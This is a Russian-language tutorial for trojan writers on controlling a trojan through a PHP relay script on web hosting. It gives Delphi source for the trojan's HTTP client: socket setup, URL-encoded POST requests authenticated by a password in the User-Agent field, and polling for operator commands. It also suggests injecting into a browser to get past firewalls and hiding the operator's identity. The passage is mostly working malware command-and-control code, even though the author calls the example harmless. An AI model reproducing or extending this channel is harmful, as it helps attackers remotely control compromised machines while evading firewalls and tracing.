Статья предназначена для более-менее опытных троянмейкеров, умеющих работать с TCP/IP через API и знакомых с HTTP-протоколом, в частности, с методом POST. Кроме того, необходимо разбираться в PHP на уровне работы с текстовыми файлами, строками и суперглобальными ассоциированными массивами (к коим относятся $_GET, $_POST и $_SERVER). По ходу дела я, конечно, буду давать некоторые объяснения, но для понимания всего этого "с нуля" их будет явно не достаточно.
Не испугались? 😉 Ну и правильно - чего тут страшного? Начнём.
Идея
Идея достаточно простая - для управления трояном используется скрипт, написанный на PHP, ASP, Perl или чём-нибудь подобном. Скрипт
размещаться на любом хостинге с поддержкой соответствующих сценариев.
Обмен информацией с трояном происходит следующим образом: когда хакер хочет передать трояну команду, он по HTTP-протоколу посылает её скрипту. Скрипт принимает команду и где-то её сохраняет (например, в текстовом файле у себя на сервере). Как только троян обратится к скрипту и "спросит", не было ли чего-нибудь от хакера, скрипт отдаст ему сохранённую команду. Естественно, для того, что бы вовремя узнавать о поступивших командах, трояну нужно регулярно обращаться к скрипту.
Если же троян должен передать что-нибудь хакеру (например, результат выполнения очередной команды), всё повторяется в обратном порядке: троян по HTTP-протоколу посылает нужную информацию скрипту, тот её сохраняет и после соответствующего запроса отдаёт хакеру.
Таким образом скрипт играет роль посредника между хакером и трояном. Конечно, это несколько замедляет обмен информацией, но в таком способе управления есть и свои плюсы. Во-первых, хакеру легко обеспечит собственную анонимность - достаточно быть анонимным в WWW (всякие там anonymous-proxy и т.п... короче, вы в курсе). Во-вторых, если скрипт-посредник поддерживает web-интерфейс, для управления трояном хакер может использовать обычный браузер. В третьих, троян у нас фактически является HTTP-клиентом, поэтому если на затрояненой машине установлен файрвол, всегда можно попробовать
внедриться в адресное пространство web-браузера и слать HTTP-запросы от его имени 😉
Если идея понятна, перейдём к практике. Троян (на самом деле не настоящий троян, конечно, а небольшой безобидный пример к статье) напишем на Delphi, скрипт-посредник - на PHP. Через web-интерфейс скрипта можно будет посылать трояну команды и видеть результаты их выполнения.
Троян
Начнём с трояна. Прежде всего он должен уметь посылать HTTP-запросы и получать ответы сервера. И запросы и ответы в нашем примере будут строками. Реализуем мы всё это в виде функции,
объявленной как:
// функция посылает серверу строку по протоколу http и возвращает ответ сервера в ansver
// значения, возвращаемый функцией:
// 0 - всё ок!
// 1 - нет коннекта по сети
// 2 - не инициализировались сокеты
// 3 - неправильный IP или имя microsoft.com
// 4 - нет соединения с хостом
function SendStringViaHTTP(serverhost: string; // хост сервера (напр.
microsoft.com)
// или его IP-адрес (198.162.0.1)
virtualhost: string; // виртуальный хост
port: DWORD; // порт (обычно 80)
page: string; // PHP-скрипт, которому
// передаётся запрос (напр.
/index.php)
data: AnsiString; // данные посылаемые серверу
var answer: AnsiString // ответ сервера (без заголовка)
): byte;
Назначение параметров и значений, возвращаемых функцией, понятно из комментариев. Хочу только заметить, что виртуальный хост, на котором лежит скрипт, по понятным причинам может отличаться от хоста сервера.
Далее мы инициализируем сокеты и откроем соединение. Делается это как обычно, но на всякий случай я приведу соответствующий кусок кода с комментариями:
// в uses должны быть прописаны юниты WinInet и WinSock
// в var функции должны быть прописаны переменные
// WSA: TWSAData;
// skt: TSocket;
// sa: TSockAddr;
// szhost: PHostEnt;
// dwVar: DWORD;
// А вот, собственно, код:
// проверим соединение с интернетом
dwVar:=0;
InternetGetConnectedState(@dwVar, 0);
if (dwVar and 1)<>1 then
begin
Result:=1; // нет коннекта
exit;
end;
// инициализация сокетов
if WSAStartup($101, WSA)<>0 then
begin
Result:=2;
exit;
end;
// открываем сокет
skt:=socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
// инициализируем некоторые поля
sa.sin_family:=AF_INET;
sa.sin_port:=htons(Port);
// смотрим, передан ли нам адрес вида 127.0.0.1
sa.sin_addr.S_addr:=inet_addr(pchar(serverhost));
if sa.sin_addr.S_addr=u_long(INADDR_NONE) then
begin
// нет - значит передан хост типа microsoft.com
szhost:=gethostbyname(pchar(serverhost));
if szhost=nil then
begin
Result:=3;
exit;
end;
CopyMemory(@(sa.sin_addr),@(szhost.h_addr_list^[0]),szhost.h_length);
end;
// коннектимся
if connect(skt, sa, sizeof(sa))<>0 then
begin
Result:=4;
exit;
end;
Если всё нормально и коннект установлен, можно приступать к передаче данных. Мы будем передавать на сервер HTTP-запрос используя метод POST. Заголовок нашего запроса будет состоять из нескольких строк, который обычно называют полями:
POST /index.php HTTP/1.0
User-Agent: <название браузера, у нас это пароль для скрипта-посредника>
Host: <виртуальный хост>
Content-Type: application/x-www-form-urlencoded
Content-Length: <длина данных>
Connection: Keep-Alive
Я не буду рассказывать о значении каждого поля - по этому поводу см. RFC1945 "Hypertext Transfer Protocol -- HTTP/1.0". Скажу лишь, что название браузера (поле User-Agent) играет у нас роль пароля - именно по названию браузера скрипт-посредник будет узнавать, что к нему обратился троян.
Каждое поле должно оканчиваться на #13#10, после самого заголовка (т.е. в конце его последнего поля) стоит #13#10#13#10. Сразу за заголовком следуют данные. Поскольку тип данных у нас в заголовке указан как application/x-www-form-urlencoded (т.е. данные, якобы посланные из формы браузера) мы будем пересылать их длинной строкой вида:
data=<строка с нашими данными>
В этом случае PHP-скрипт сможет получить их через элемент массива $_POST['data']. Естественно, при вычислении длины данных нужно учитывать, что к той строке, которую мы передаём серверу, добавляется строка "data=", т.е. ещё 5 символов.
Кроме того, мы не можем передать скрипту строку прямо в таком виде, в каком она есть. Если в строке, которую мы передаём встретится, например, символ "&", скрипт будет считать его концом строки (маразм, конечно, но так оно и есть). Поэтому строку, которую мы передаём, нужно представить в URL-кодированном виде. Что это такое? При URL-кодировании любой символ, кроме букв английского алфавита, цифр и ещё некоторых знаков типа "@" или "-" приводится к виду "%<hex-код символа>". Например, строка "супер-пупер" в URL-кодированном виде будет выглядеть как: "%F1%F3%EF%E5%F0-%EF%F3%EF%E5%F0".
Для упрощения кода мы будем URL-кодировать все символы без разбора - такую строку сервер тоже примет нормально. Само URL-кодирование у нас будет осуществляться в цикле - один символ за одну итерацию. Алгоритм кодирования одного символа я объясню в общем, т.к. для лекции по основам 16-ричной арифметики просто нет места (статья и так получается большая).
При URL-кодировании мы используем целочисленное деление (функция div) ANSI-кода символа на 16, что бы получить старшую цифру кода символа в hex-виде, и остаток от этого же деления (функция mod) что бы получить младшую цифру. Символьное представление цифр мы находим как элементы строки hexdigits (см. исходнк дальше) с соответствующими смещениями. Фактически весь алгоритм реализуется одной строкой:
l:=l+'%'+hexdigits[(ord(data[i]) div 16)+1]+hexdigits[(ord(data[i]) mod 16)+1];
где data[i] - очередной символ, который URL-кодируется и присоединяется к l. Код, который всё это реализует, полностью выглядит так:
// в var обьявлена переменная l типа
AnsiString,
// в const объявлена константа hexdigits - это строка цифр
// 16-ричной системы по возрастанию:
// hexdigits = '0123456789ABCDEF'
// URL-кодируем данные
l:='';
for i:=1 to length(data) do
begin
l:=l+'%'+hexdigits[(ord(data[i]) div 16)+1]+hexdigits[(ord(data[i]) mod 16)+1];
end;
data:=l;
Теперь, когда URL-кодирование завершено, можно посылать строку скрипту. Дальше идёт код, который формирует заголовок:
// вычисляем длину данных, которые необходимо передать (+5 - для "data=") и переводим
// в строковой вид
str(length(data)+5, l);
// формируем заголовок (в константе TROJAN_PSW хранится пароль для скрипта) в той же
// переменной l
l:='POST '+page+' HTTP/1.0'#13#10+
'User-Agent: '+TROJAN_PSW+#13#10+
'Host: '+virtualhost+#13#10+
'Content-Type: application/x-www-form-urlencoded'#13#10+
'Content-Length: '+l+#13#10+
'Connection: Keep-Alive'#13#10#13#10+
'data=';
// посылаем заголовок
if send(skt, l[1], length(l), 0)=SOCKET_ERROR then
begin
// ошибка пересылки
Result:=4;
exit;
end;
// посылаем данные
if send(skt, data[1], length(data), 0)=SOCKET_ERROR then
begin
// ошибка пересылки
Result:=4;
exit;
end;
После того, как запрос отослан, нам необходимо получить строку с ответом сервера. Делается это как обычно, функцией recv. Правда тут возникает одна тонкость: если ответ длинный, сервер передаст нам его не сразу, а по частям. Тогда как узнать, что передана вся строка с ответом? Мы решим это просто: в конце каждого ответа наш скрипт-посредник будет вставлять ключевое слово </body> (тег конца тела HTML странички). Тогда трояну только и останется, что проверять, не передал ли сервер это ключевое слово.
Ответ сервера мы будем заносить в переменную answer типа AnsiString (максимальный размер строки AnsiString ограничивается только размером RAM - для мелких надобностей нам хватит ;-)). Код, реализующий это, имеет следующий вид:
// в коде используем переменные dwVar и data повторно
// ожидаем ответа сервера
repeat
// ждём, пока что-то появится в сокете
repeat
ioctlsocket(skt, FIONREAD, integer(dwVar));
until (dwVar<>0);
// длина буфера для данных
SetLength(data, dwVar);
// принимаем данные, пока сокет не опустеет
i:=0;
repeat
i:=i+recv(skt, data[i+1], dwVar, 0);
until (i>=dwVar);
// добавим принятое к общему буферу
answer:=answer+data;
// проверим, не было ли </body>
until pos('</body>', answer)<>0;
Ответ сервера будет состоять из заголовка типа:
HTTP/1.1 200 OK
Date: Wed, 22 Jun 2005 12:28:38 GMT
Server: Apache/1.3.27 (Win32) PHP/4.3.6
X-Powered-By: PHP/4.3.6
Connection: close
Content-Type: text/html
и данных, которые идут сразу за заголовком и отделяются от него цепочкой байт #13#10#13#10. Я опять-таки не буду объяснять значение полей заголовка ответа, отсылая любопытных к RFC1945. Тем более сам заголовок нас не интересует, нам нужны только данные, которые за ним следуют. Поэтому заголовок мы попросту отрежем:
// найдём начало данных (повторно используем переменную i)
i:=pos(#13#10#13#10, answer);
// отрежем заголовок
if i<>0 then delete(answer, 1, i+3);
Кстати, в конце ответа скрипта идёт тег </body>, который нам тоже ни к чему:
delete(answer, pos('</body>', answer), 7); // 7 - длина строки "</body>"
Что ж, теперь функция может спокойно закончить работу, вернув код завершения 0 (всё прошло нормально):
Result:=0;
Итак, наш троян может обмениваться информацией со скриптом. Для того, что бы вовремя получать команды хакера, троян должен часто обращаться к скрипту. В нашем примере "часто" будет определятся константой SEC - пауза между запросами в секундах.